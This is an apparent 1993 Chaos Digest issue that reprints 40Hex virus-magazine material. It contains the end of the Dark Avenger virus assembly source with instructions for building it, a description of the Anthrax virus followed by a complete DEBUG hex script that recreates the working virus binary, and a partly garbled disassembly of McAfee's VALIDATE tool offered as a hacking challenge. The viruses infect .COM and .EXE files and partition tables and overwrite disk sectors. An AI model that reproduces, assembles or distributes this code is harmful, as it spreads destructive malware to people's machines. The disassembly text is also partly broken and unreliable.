home *** CD-ROM | disk | FTP | other *** search
- Chaos Digest Mercredi 26 Mai 1993 Volume 1 : Numero 37
- ISSN 1244-4901
-
- Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
- Archiviste: Yves-Marie Crabbe
- Co-Redacteurs: Arnaud Bigare, Stephane Briere
-
- TABLE DES MATIERES, #1.37 (26 Mai 1993)
- File 1--40H VMag Issue 1 Volume 3 #002(2)-004(1) (reprint)
-
- Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
- available at no cost by sending a message to:
- linux-activists-request@niksula.hut.fi
- with a mail header or first line containing the following informations:
- X-Mn-Admin: join CHAOS_DIGEST
-
- The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
- or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
- 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299)
- groups.
-
- Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
- 466893. Back issues of ChaosD can be found on the Internet as part of the
- Computer underground Digest archives. They're accessible using anonymous FTP:
-
- * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
- * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
- * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
- * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
- * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
- * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
- * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
-
- CHAOS DIGEST is an open forum dedicated to sharing French information among
- computerists and to the presentation and debate of diverse views. ChaosD
- material may be reprinted for non-profit as long as the source is cited.
- Some authors do copyright their material, and they should be contacted for
- reprint permission. Readers are encouraged to submit reasoned articles in
- French, English or German languages relating to computer culture and
- telecommunications. Articles are preferred to short responses. Please
- avoid quoting previous posts unless absolutely necessary.
-
- DISCLAIMER: The views represented herein do not necessarily represent
- the views of the moderators. Chaos Digest contributors
- assume all responsibility for ensuring that articles
- submitted do not violate copyright protections.
-
- ----------------------------------------------------------------------
-
- Date: Tue May 11 09:24:40 PDT 1993
- From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
- Subject: File 1--40H VMag Issue 1 Volume 3 #002(2)-004(1) (reprint)
-
- [suite du listing de _Dark Avenger_ de ChaosD #1.35:]
-
- ; Check if the file is properly infected
-
- see_sick:
- sub dx,startup-copyright
- sbb cx,0
- mov ax,4200h
- int 21h
- add ax,offset top_file
- adc dx,0
- cmp ax,word ptr [top_save+18h]
- jne see_fuck
- cmp dx,word ptr [top_save+1ah]
- jne see_fuck
- mov dx,offset top_save+1ch
- mov si,dx
- mov cx,offset my_size
- mov ah,3fh
- int 21h
- jc see_fuck
- cmp cx,ax
- jne see_fuck
- xor di,di
- next_byte:
-
- lodsb
- scasb
- jne see_fuck
- loop next_byte
- stop_fuck_2:
- ret
- see_fuck:
- xor cx,cx ;Seek to the end of file
- xor dx,dx
- mov ax,4202h
- int 21h
- cmp word ptr [top_save],5a4dh
- je fuck_exe
- add ax,offset aux_size+200h ;Watch out for too big .COM files
- adc dx,0
- je fuck_it
- ret
-
- ;Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
-
- fuck_exe:
- mov dx,word ptr [top_save+18h]
- neg dl
- and dx,0fh
- xor cx,cx
- mov ax,4201h
- int 21h
- mov word ptr [top_save+18h],ax
- mov word ptr [top_save+1ah],dx
- fuck_it:
- mov ax,5700h ;Get file's date
- int 21h
- pushf
- push cx
- push dx
- cmp word ptr [top_save],5a4dh
- je exe_file ;Very clever, isn't it?
- mov ax,100h
- jmp short set_adr
- exe_file:
- mov ax,word ptr [top_save+14h]
- mov dx,word ptr [top_save+16h]
- set_adr:
- mov di,offset call_adr
- stosw
- mov ax,dx
- stosw
- mov ax,word ptr [top_save+10h]
- stosw
- mov ax,word ptr [top_save+0eh]
- stosw
- mov si,offset top_save ;This offers the possibilities to
- movsb ;some nasty programs to restore
- movsw ;exactly the original length
- xor dx,dx ;of the .EXE files
- mov cx,offset top_file
- mov ah,40h
- int 21h ;Write the virus
- jc go_no_fuck ;(don't trace here)
- xor cx,ax
- jnz go_no_fuck
- mov dx,cx
- mov ax,4200h
- int 21h
- cmp word ptr [top_save],5a4dh
- je do_exe
- mov byte ptr [top_save],0e9h
- mov ax,word ptr [top_save+18h]
- add ax,startup-copyright-3
- mov word ptr [top_save+1],ax
- mov cx,3
- jmp short write_header
- go_no_fuck:
- jmp short no_fuck
-
- ;Construct the .EXE file's header
-
- do_exe:
- call mul_hdr
- not ax
- not dx
- inc ax
- jne calc_offs
- inc dx
- calc_offs:
- add ax,word ptr [top_save+18h]
- adc dx,word ptr [top_save+1ah]
- mov cx,10h
- div cx
- mov word ptr [top_save+14h],startup-copyright
- mov word ptr [top_save+16h],ax
- add ax,(offset top_file-offset copyright-1)/16+1
- mov word ptr [top_save+0eh],ax
- mov word ptr [top_save+10h],100h
- add word ptr [top_save+18h],offset top_file
- adc word ptr [top_save+1ah],0
- mov ax,word ptr [top_save+18h]
- and ax,1ffh
- mov word ptr [top_save+2],ax
- pushf
- mov ax,word ptr [top_save+19h]
- shr byte ptr [top_save+1bh],1
- rcr ax,1
- popf
- jz update_len
- inc ax
- update_len:
- mov word ptr [top_save+4],ax
- mov cx,18h
- write_header:
- mov dx,offset top_save
- mov ah,40h
- int 21h ;Write the file beginning
- no_fuck:
- pop dx
- pop cx
- popf
- jc stop_fuck
- mov ax,5701h ;Restore the original file date
- int 21h
- stop_fuck:
- ret
-
- ;The following is used by the INT 21h and INT 27h handlers in connection
- ;to the program hiding in memory from those who don't need to see it.
- ;The whole system is absurde and meaningless and it is also another source
- ;for program conflicts.
-
- alloc:
- push ds
- call get_chain
- mov byte ptr ds:[0],'M'
- pop ds
-
- ;Assures that the program is the first one in the processes,
- ;which have intercepted INT 21h (yet another source of conflicts).
-
- ontop:
- push ds
- push ax
- push bx
- push dx
- xor bx,bx
- mov ds,bx
- lds dx,ds:[21h*4]
- cmp dx,offset int_21
- jne search_segment
- mov ax,ds
- mov bx,cs
- cmp ax,bx
- je test_complete
-
- ;Searches the segment of the sucker who has intercepted INT 21h, in
- ;order to find where it has stored the old values and to replace them.
- ;Nothing is done for INT 27h.
-
- xor bx,bx
- search_segment:
- mov ax,[bx]
- cmp ax,offset int_21
- jne search_next
- mov ax,cs
- cmp ax,[bx+2]
- je got_him
- search_next:
- inc bx
- jne search_segment
- je return_control
- got_him:
- mov ax,word ptr cs:[save_int_21]
- mov [bx],ax
- mov ax,word ptr cs:[save_int_21+2]
- mov [bx+2],ax
- mov word ptr cs:[save_int_21],dx
- mov word ptr cs:[save_int_21+2],ds
- xor bx,bx
-
- ;Even if he has not saved them in the same segment, this won't help him.
-
- return_control:
- mov ds,bx
- mov ds:[21h*4],offset int_21
- mov ds:[21h*4+2],cs
- test_complete:
- pop dx
- pop bx
- pop ax
- pop ds
- ret
-
- ;Fetch the segment of the last MCB
-
- get_chain:
- push ax
- push bx
- mov ah,62h
- call function
- mov ax,cs
- dec ax
- dec bx
- next_blk:
- mov ds,bx
- stc
- adc bx,ds:[3]
- cmp bx,ax
- jc next_blk
- pop bx
- pop ax
- ret
-
- ;Multiply by 16
-
- mul_hdr:
- mov ax,word ptr [top_save+8]
- mul_16:
- mov dx,10h
- mul dx
- ret
-
- db 'This program was written in the city of Sofia '
- db '(C) 1988-89 Dark Avenger',0
-
- ;INT 13h handler.
- ;Calls the original vectors in BIOS, if it's a writing call
-
- int_13:
- cmp ah,3
- jnz subfn_ok
- cmp dl,80h
- jnc hdisk
- db 0eah ;JMP XXXX:YYYY
- my_size: ;--- Up to here comparison
- disk: ; with the original is made
- dd 0
- hdisk:
- db 0eah ;JMP XXXX:YYYY
- fdisk:
- dd 0
- subfn_ok:
- db 0eah ;JMP XXXX:YYYY
- save_int_13:
- dd 0
- call_adr:
- dd 100h
-
- stack_pointer:
- dd 0 ;The original value of SS:SP
- my_save:
- int 20h ;The original contents of the first
- nop ;3 bytes of the file
- top_file: ;--- Up to here the code is written
- filehndl equ $ ; in the files
- filename equ filehndl+2 ;Buffer for the name of the opened
- file
- save_int_27 equ filename+65 ;Original INT 27h vector
- save_int_21 equ save_int_27+4 ;Original INT 21h vector
- aux_size equ save_int_21+4 ;--- Up to here is moved into memory
- top_save equ save_int_21+4 ;Beginning of the buffer, which
- ;contains
- ; - The first 24 bytes read from file
- ; - File length (4 bytes)
- ; - The last bytes of the file
- ; (my_size bytes)
- top_bz equ top_save-copyright
- my_bz equ my_size-copyright
-
- code ends
- end
-
- ------------------------------------------------------------------------------
-
- A few notes on assembling this virus.
-
- It's a little bit tricky assembling the Dark Avenger Virus. Use
- these steps below. I use Turbo Assembler 2.0, but I'm positve that
- MASM will work just as well.
-
- 1:
- TASM AVENGER.ASM
-
- 2:
- TLINK AVENGER.OBJ
-
- 3:
- EXE2BIN AVENGER AVENGER.COM
-
- Now make a 3 byte file named JUMP.TMP using DEBUG like this
-
- 4: DEBUG
-
- n jmp.tmp
- e 0100 E9 68 00
-
- rcx
- 3
- w
- q
-
- 5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
-
- There you have it....
- HR
- +++++
-
- 40Hex Issue 3 0003
-
- Anthrax
-
- Well, this is turning out to be a tribute issue to the Dark
- Avenger. Here is another one of his better known viruses. This is
- a nice one cause it not only is a file infector, but it is also a
- sort of boot sector virus. It is also what I dubbed a reincarnation
- virus, meaning that even if you clean your system of it, it may
- still live, because it leaves a copy of itself on the last sector of
- the disk. The virus can be reincarnated by the V2100 virus, also bu
- The Dark Avenger.
-
- Well, Patti Hoffman (one of my favorite people on earth, not) wrote
- this virus up.
-
- Aliases:
- V Status: Rare [Not for long]
- Discovery: July, 1990
- Symptoms: .COM & .EXE growth
- Origin: Bulgaria
- Isolated: Netherlands
- Eff Length: 1040 - 1279 Bytes
- Type Code: PRAKX-Parasitic Resident .COM, .EXE, & Partition Table Infector
- Detection Method: ViruScan V66+, Pro-Scan 2.01+, IBM Scan 2.00+
- Removal Instructions: Scan/D + MDisk/P, Pro-Scan 2.01+
- General Comments:
-
- The Anthrax Virus was isolated in July 1990 in the Netherlands after
- it was uploaded onto several BBSes in a trojan anti-viral program,
- USCAN.ZIP. It is the second virus to be found in a copy of UScan
- during July 1990, the first virus being V2100. Anthrax is a memory
- resident generic infector of .COM and .EXE files, including
- COMMAND.COM.
-
- The first time a program infected with the Anthrax virus is executed
- on the system's hard disk, the virus will infect the hard disk's
- partition table. At this point, the virus is not memory resident. It
- will also write a copy of itself on the last few sectors of the
- system's hard disk. If data existed on those last few sectors of the
- hard disk, it will be destroyed.
-
- When the system is booted from the hard disk, the Anthrax virus
- will install itself memory resident. It will remain memory resident
- until the first program is executed. At that time, it will deinstall
- itself from being resident and infect one .COM or .EXE file. This
- virus does not infect files in the current directory first, but
- instead starts to infect files at the lowest level of the disk's
- directory tree.
-
- Later, when an infected program is executed, Anthrax will infect one
- .COM or .EXE file, searching the directory structure from the lowest
- level of the directory tree. If the executed infected program
- was located on the floppy drive, a .COM or .EXE file may or may not
- be infected.
-
- The Anthrax Virus's code is 1,024 bytes long, but infected programs
- will increase in length by 1,040 to 1,279 bytes. On the author's test
- system, the largest increase in length experienced was 1,232 bytes.
- Infected files will always have an infected file length that is a
- multiple of 16.
-
- The following text strings can be found in files infected with the
- Anthrax virus:
-
- "(c)Damage, Inc."
- "ANTHRAX"
-
- A third text string occurs in the viral code, but it is in Cyrillics.
- Per Vesselin Bontchev, this third string translates to: "Sofia 1990".
-
- Since Anthrax infects the hard disk partition tables, infected systems
- must have the partition table disinfected or rebuilt in order to
- remove the virus. This disinfection can be done with either a low-
- level format or use of the MDisk/P program for the correct DOS
- version after powering off and rebooting from a write-protected boot
- diskette for the system. Any .COM or .EXE files infected with
- Anthrax must also be disinfected or erased. Since a copy of the virus
- will exist on the last few sectors of the drive, these must also be
- located and overwritten.
-
- Anthrax interacts with another virus: V2100. If a system which was
- previously infected with Anthrax should become infected with the V2100
- virus, the V2100 virus will check the last few sectors of the hard
- disk for the spare copy of Anthrax. If the spare copy is found, then
- Anthrax will be copied to the hard disk's partition table.
-
- It is not known if Anthrax carries any destructive capabilities or
- trigger/activation dates.
-
- Here is the actual virus. Well if this is your fist copy of
- 40Hex, let me explain how to compile it.
-
- First copy what is below with your editor. Then save it to a file
- called ANTHRAX.SCR. Then type at the command line -
-
- DEBUG <ANTHRAX.SCR
-
- This will create a file called ANTHRAX.COM, that's the actual virus.
-
- ----------------------------------------------------------------------------
-
- n anthrax.com
- e 0100 E9 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00
- e 0110 95 8C C8 2D 00 00 BA 00 00 50 52 1E 33 C9 8E D9
- e 0120 BE 4C 00 B8 CD 00 8C CA 87 44 44 87 54 46 52 50
- e 0130 C4 1C B4 13 CD 2F 06 53 B4 13 CD 2F 58 5A 87 04
- e 0140 87 54 02 52 50 51 56 A0 3F 04 A8 0F 75 6C 0E 07
- e 0150 BA 80 00 B1 03 BB 77 06 B8 01 02 50 CD 13 58 B1
- e 0160 01 BB 00 04 CD 13 0E 1F BE 9B 03 8B FB B9 5E 00
- e 0170 56 F3 A6 5E 8B FB B9 62 00 56 F3 A4 5F BE 12 08
- e 0180 B9 65 00 F3 A4 74 1E 89 4D E9 B1 5C 89 4D 9B 88
- e 0190 6D DC B1 02 33 DB B8 02 03 CD 13 49 BB 00 04 B8
- e 01A0 01 03 CD 13 49 B4 19 CD 21 50 B2 02 B4 0E CD 21
- e 01B0 B7 02 E8 87 01 5A B4 0E CD 21 5E 1F 8F 04 8F 44
- e 01C0 02 8F 44 44 8F 44 46 1F 1E 07 95 CB 28 63 29 20
- e 01D0 44 61 6D 61 67 65 2C 20 49 6E 63 2E 00 B0 03 CF
- e 01E0 06 1E 57 56 50 33 C0 8E D8 BE 86 00 0E 07 BF 08
- e 01F0 06 FD AD AB A5 AF 87 F7 AD FC 74 11 1E 07 AF B8
- e 0200 07 01 AB 8C C8 AB 8E D8 BF 68 00 A5 A5 58 5E 5F
- e 0210 1F 07 2E FF 2E 00 06 06 1E 57 56 52 51 53 50 0E
- e 0220 1F BE 06 06 33 C9 8E C1 BF 84 00 A5 A5 B4 52 CD
- e 0230 21 26 8B 47 FE 8E D8 BB 03 00 03 07 40 8E D8 81
- e 0240 07 80 00 0E 07 B7 12 E8 F2 00 58 5B 59 5A 5E 5F
- e 0250 1F 07 2E FF 2E 06 06 C3 91 AE B4 A8 BF 20 31 39
- e 0260 39 30 B8 00 3D CD 21 72 EE 93 B8 20 12 CD 2F 53
- e 0270 26 8A 1D B8 16 12 CD 2F 5B BE 62 04 8B D6 B1 18
- e 0280 B4 3F CD 21 33 C1 75 70 06 1F C6 45 02 02 33 D2
- e 0290 EC 3C 10 72 FB 03 45 11 13 55 13 24 F0 3D 00 FB
- e 02A0 73 56 89 45 15 89 55 17 0E 1F 50 B1 10 F7 F1 2B
- e 02B0 44 08 8B C8 2B 44 16 A3 04 00 AD 35 4D 5A 74 03
- e 02C0 35 17 17 9C 75 17 89 04 3B 44 0A 87 44 12 A3 07
- e 02D0 00 89 4C 14 B9 DC 04 74 07 83 44 08 48 B9 65 00
- e 02E0 51 B9 9B 03 B4 40 CD 21 33 C8 59 75 09 BA 00 04
- e 02F0 B4 40 CD 21 33 C8 5A 58 75 38 26 89 4D 15 26 89
- e 0300 4D 17 52 9D 75 18 26 8B 45 11 26 8B 55 13 B5 02
- e 0310 F7 F1 85 D2 74 01 40 89 14 89 44 02 EB 0A C6 44
- e 0320 FE E9 05 28 03 89 44 FF B9 18 00 8D 54 FE B4 40
- e 0330 CD 21 26 80 4D 06 40 B4 3E CD 21 C3 8E D9 8A 1E
- e 0340 6C 04 0E 1F FF 06 5E 04 BA 4B 06 E8 1F 00 BE 0A
- e 0350 06 C6 04 5C 46 32 D2 B4 47 CD 21 BA 9B 03 B4 3B
- e 0360 CD 21 E3 0D B4 51 CD 21 8E DB BA 80 00 B4 1A EB
- e 0370 C8 72 3E BE 9C 03 32 D2 B4 47 CD 21 3A 2E DC 03
- e 0380 B1 32 BA 9D 02 B4 4E 74 5C CD 21 72 24 BA 4B 06
- e 0390 B8 01 4F BE DC 03 BF 68 06 AA B1 0D F3 A6 74 45
- e 03A0 3A 6D FE 74 40 CD 21 73 E4 32 C0 EB D3 2A 2E 2A
- e 03B0 00 B1 41 BF 9C 03 3A 2D 8A C5 A2 DC 03 74 69 F2
- e 03C0 AE 4F B1 41 B0 5C FD F2 AE 8D 75 02 BF DC 03 FC
- e 03D0 AC 84 C0 AA 75 FA BA CD 02 32 C9 EB 81 2E 2E 00
- e 03E0 BA 4B 06 B4 4F CD 21 72 C8 BE 69 06 BF DC 03 80
- e 03F0 3C 2E 74 EC 88 2D 8B D6 F6 44 F7 10 75 DB AC 84
- e 0400 C0 AA 75 FA 4E FD AD AD FC 3D 58 45 74 05 3D 4F
- e 0410 4D 75 CD 53 E8 4B FE 5B 33 C9 8E C1 26 A0 6C 04
- e 0420 0E 07 2A C3 3A C7 72 B8 BA 80 00 B1 03 BB 00 02
- e 0430 B8 01 03 CD 13 BA 0A 06 E9 23 FF 95 BF 00 01 8B
- e 0440 5D 01 81 EB 28 02 8B C7 8D B7 FD 03 A5 A4 93 B1
- e 0450 04 D3 E8 8C D9 03 C1 BA 0B 00 EB 71 B8 D0 00 FC
- e 0460 87 85 68 FA AB 8C C8 E2 F7 A3 86 00 AB 8E D8 B4
- e 0470 08 CD 13 49 49 A1 E9 03 84 E4 74 01 91 B2 80 B8
- e 0480 03 03 CD 13 91 84 E4 75 02 2C 40 FE CC A3 E9 03
- e 0490 FF 06 60 04 32 F6 B9 01 00 BB 00 04 B8 01 03 CD
- e 04A0 13 8A D6 CB 41 4E 54 48 52 41 58 0E 1F 83 2E 13
- e 04B0 04 02 CD 12 B1 06 D3 E0 8E C0 BF 00 04 BE 00 7C
- e 04C0 B9 00 01 8B DE FC F3 A5 8E D8 BA 27 04 51 53 50
- e 04D0 52 CB 8E C1 B1 04 BE B0 05 83 C6 0E AD 3C 80 74
- e 04E0 04 E2 F6 CD 18 92 FD AD 91 B8 01 02 CD 13 81 3E
- e 04F0 FE 05 55 AA 75 ED 06 1E 07 1F 32 F6 B9 02 00 33
- e 0500 DB B8 02 02 CD 13 E9 EE FE 00 00 00 00 CD 20 CC
- e 0510 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0520 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0530 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0540 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0550 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0560 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0570 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
-
- rcx
- 480
- w
- q
-
- ------------------------------------------------------------------------
- HR
- +++++
-
- 40Hex Issue 3 0004
-
- The Strange Case of Validate
-
- - Fall to your knees, begging your way out of this disease.
-
- Well we all know what a dick John Mcafee is. Well with his product
- SCAN comes a program VALIDATE. I noticed when I took a close look
- at the internal workings of this program (while working on a little
- revenge project) that there is text in the program. The strings
- read
-
- "Enter password now"
- "Access denied"
-
- Well this got me going, what is this??? Well this brings up our
- first 40Hex challenge. I am including a dissassembly of validate.
- Here it is:
-
- ----------------------------------------------------------------------------
-
- data_1e equ 100h
- data_2e equ 102h
- data_3e equ 2Ch
- data_4e equ 14h
- data_5e equ 16h
- data_6e equ 18h
- data_7e equ 1Ah
- data_8e equ 47h
- data_9e equ 49h
- data_10e equ 4Ah
- data_11e equ 59h
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- validate proc far
-
- start:
- jmp loc_96
- db 0Dh, ' ', 0Dh, 0Ah, 'VALIDATE 0'
- db '.3 '
- copyright db 'Copyright 1988-89 by McAfee Asso'
- db 'ciates.'
- db ' (408) 988-3832', 0Dh, 0Ah, 0Dh
- db 0Ah, 'Written by Dennis Yelle', 0Dh
- db 0Ah, 0Dh, 0Ah
- db 1Ah
-
- data_19 db 30h dexed access)
- db '123456789ABCDEF'
- db 10h, 0Fh, 0Dh, 8, 6, 3
- db 1, 0, 0C8h, 10h, 0Ch, 5
- db 0, 0C8h, 10h, 0Fh, 2, 0
- db 0C8h, 10h, 0Fh, 0Eh, 7, 6
- db 0, 0C8h, 10h, 0Fh, 0Dh, 0
- db 0C8h
- loc_1:
- mov al,1
- mov ah,4Ch
- int 21h
- db 0CDh, 20h
- loc_2:
- jmp short loc_2
-
- validate endp
-
- sub_1 proc near
- mov dx,si
- loc_3:
- lodsb
- cmp al,1
- ja loc_3
- pushf
- mov cx,si
- sub cx,dx
- dec cx
- mov ah,40h
- mov bx,1
- int 21h
- popf
- jz loc_1
- retn
- sub_1 endp
-
- sub_2 proc near
- mov bp,sp
- xchg si,[bp]
- call sub_1
- xchg si,[bp]
- retn
- sub_2 endp
-
- db 0B4h, 40h, 0BBh, 2, 0, 0B9h
- db 48h, 0, 0BAh, 9, 1, 0CDh
- db 21h, 0A1h, 2, 0, 8Ch, 0CBh
- db 29h, 0D8h, 3Dh, 0, 10h, 77h
- db 52h, 0E8h, 0D8h, 0FFh
- db 0Dh, 0Ah, ' Sorry, there is not e'
- db 'nough memory available.', 0Dh, 0Ah
- db ' I need 66000 bytes of RAM.', 0Dh
- db 0Ah
- db 1, 0BEh, 80h, 0, 0ACh, 0Ah
- db 0C0h
- db 74h, 9
- loc_4:
- lodsb
- cmp al,20h
- je loc_4
- cmp al,0Dh
- jne loc_6
- loc_5:
- jmp loc_10
- loc_6:
- dec si
- mov data_33,si
- push si
- mov si,197h
- call sub_9
- mov di,666h
- call sub_10
- mov si,186h
- call sub_9
- mov di,866h
- call sub_10
- call sub_2
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- inc si
- db 'ile Name: '
- db 0, 5Eh
- loc_7:
- lodsb
- cmp al,20h
- jg loc_7
- push ax
- xor al,al
- mov [si-1],al
- mov bx,1
- mov cx,si
- dec cx
- mov dx,data_33
- sub cx,dx
- mov ah,40h
- int 21h
- push si
- call sub_8
- mov dx,data_33
- mov ax,3D00h
- int 21h
- jc loc_11
- mov data_32,ax
- ;* call sub_3
- db 0E8h, 0B8h, 0
- mov ah,3Eh
- mov bx,data_32
- int 21h
- pop si
- pop ax
- cmp al,0Dh
- je loc_9
- loc_8:
- lodsb
- cmp al,20h
- je loc_8
- cmp al,0Dh
- je loc_9
- call sub_8
- jmp loc_6
- loc_9:
- mov ax,4C00h
- int 21h
- loc_10:
- mov dx,2E6h
- mov cx,84h
- jmp loc_17
- loc_11:
- mov dx,5FBh
- mov cx,29h
- jmp loc_17
- db 'This program prints the validati'
- db 'on information for a file.', 0Dh
- db 0Ah, 'Examples:', 0Dh, 0Ah, ' '
- db ' VALIDATE SCAN.EXE', 0Dh, 0Ah
- db ' VALIDATE SCANRES.EXE', 0Dh
- db 0Ah
- sub_3 proc near
- xor ax,ax
- mov data_34,ax
- mov data_35,ax
- loc_12:
- mov bx,data_32
- mov dx,0A66h
- mov cx,8000h
- mov ah,3Fh
- int 21h
- jnc loc_13
- jmp loc_16
- loc_13:
- or ax,ax
- jz loc_14
- mov dx,ax
- push dx
- mov si,0A66h
- mov di,666h
- mov cx,data_34
- call sub_11
- mov data_34,cx
- pop dx
- mov si,0A66h
- mov di,866h
- mov cx,data_35
- call sub_11
- mov data_35,cx
- jmp short loc_12
- loc_14:
- call sub_2
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bp+di+69h],dl
- jp $+67h
- cmp ah,[bx+si]
- and [bx+si],al
- mov ax,4202h
- mov bx,data_32
- xor cx,cx
- xor dx,dx
- int 21h
- jnc $+0Fh
- call sub_2
- jnz $+70h
- db 6Bh, 6Eh, 6Fh, 77h, 6Eh, 0
- db 0EBh, 3, 0E8h, 59h, 1, 0E8h
- db 0D1h, 0FDh
- db 0Dh, 0Ah, ' Date: '
- db 0, 0B8h, 0, 57h, 8Bh, 1Eh
- db 4Eh, 6, 0CDh, 21h, 73h, 8
- db 0BEh, 0DDh, 3, 0E8h, 8Fh, 0FDh
- db 0EBh, 26h, 52h, 8Bh, 0C2h, 0B1h
- db 5, 0D3h, 0E8h, 25h, 0Fh, 0
- db 0E8h, 70h, 1, 0E8h, 98h, 0
- db 58h, 50h, 25h, 1Fh, 0, 0E8h
- db 65h, 1, 0E8h, 8Dh, 0, 58h
- db 0B1h, 9, 0D3h, 0E8h, 5, 0BCh
- db 7, 0E8h, 57h, 1, 0E8h, 7Ch
- db 0FDh
- db 0Dh, 0Ah, 'File Authentication:', 0Dh
- db 0Ah, ' Check Method 1 - '
- db 0, 8Bh, 0Eh, 52h, 6, 0E8h
- db 27h, 0, 0E8h, 43h, 0FDh
- db 0Dh, 0Ah, ' Check Method 2 - '
- db 0, 8Bh, 0Eh, 54h, 6, 0E8h
- db 4, 0, 0E8h, 27h, 0, 0C3h
- db 51h, 89h, 0C8h, 88h, 0E0h, 0E8h
- db 1, 0
- db 58h
-
- ------------------------------
-
- End of Chaos Digest #1.37
- ************************************
-